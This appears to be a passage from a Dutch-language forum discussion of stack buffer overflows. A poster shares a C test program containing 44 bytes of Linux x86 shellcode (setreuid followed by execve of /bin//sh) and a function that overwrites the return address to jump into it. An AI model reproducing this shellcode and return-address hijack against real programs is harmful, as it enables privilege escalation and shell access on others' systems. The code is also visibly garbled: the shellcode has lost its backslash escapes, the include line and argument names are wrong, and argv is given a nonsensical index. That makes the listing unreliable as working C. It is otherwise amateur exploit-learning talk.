Is dat de functie printf() voordat hij uitgevoerd wordt, de argumenten
op de stack plaatst zodat deze later in de functie zelf gebruikt kunnen
worden.
0xbffff360is het adress van het begin van de shellcode dacht ik gezien
de /x53 push ebx is. En gezien 7x 53 was gedeclareerd voor herkennings
punt dacht ik dat de volgende lijn 0xbfff30 het begin van de shellcode was.
Maar over het hoofd gezien in nasm geeft die start+ bss aan dus is nog ff
door zoeken doe nog iets fout.
Wat probeer je precies te laten zien met deze functie?
Het was slechts een simpel voorbeeld van als je iets laat crashen
na welk adress je dan moet overschrijven. En de eip waar die
gecrashed is te saven als een esp adress. Dat was opzich de insteek.
grappig is trouwens wel als je uitvoerd :
-----------------------------
#include (stdio.h)
char shellcode[] = /* 44 Byte shellcode van eSDee */
"x31xc0x31xdbx31xc9xb0x46xcdx80x31"
"xc0x50x68x2fx2fx73x68x68x2fx62x69"
"x6ex89xe3x8dx54x24x08x50x53x8dx0c"
"x24xb0x0bxcdx80x31xc0xb0x01xcdx80";
int mem(){
int *ret;
ret = (int * ) &ret +2;
( * ret ) = (int) shellcode;
};
int main(int arg, char *argv[] ){
if(argc !=2){
printf("Test", argv[11111111111111111111111111111111],mem());
}
}
-----------------------------
Gdb het resultaat geeft program runned normaly. En het esp adress is
overschreven. In het zelfde programma waardie eerst crashed in main.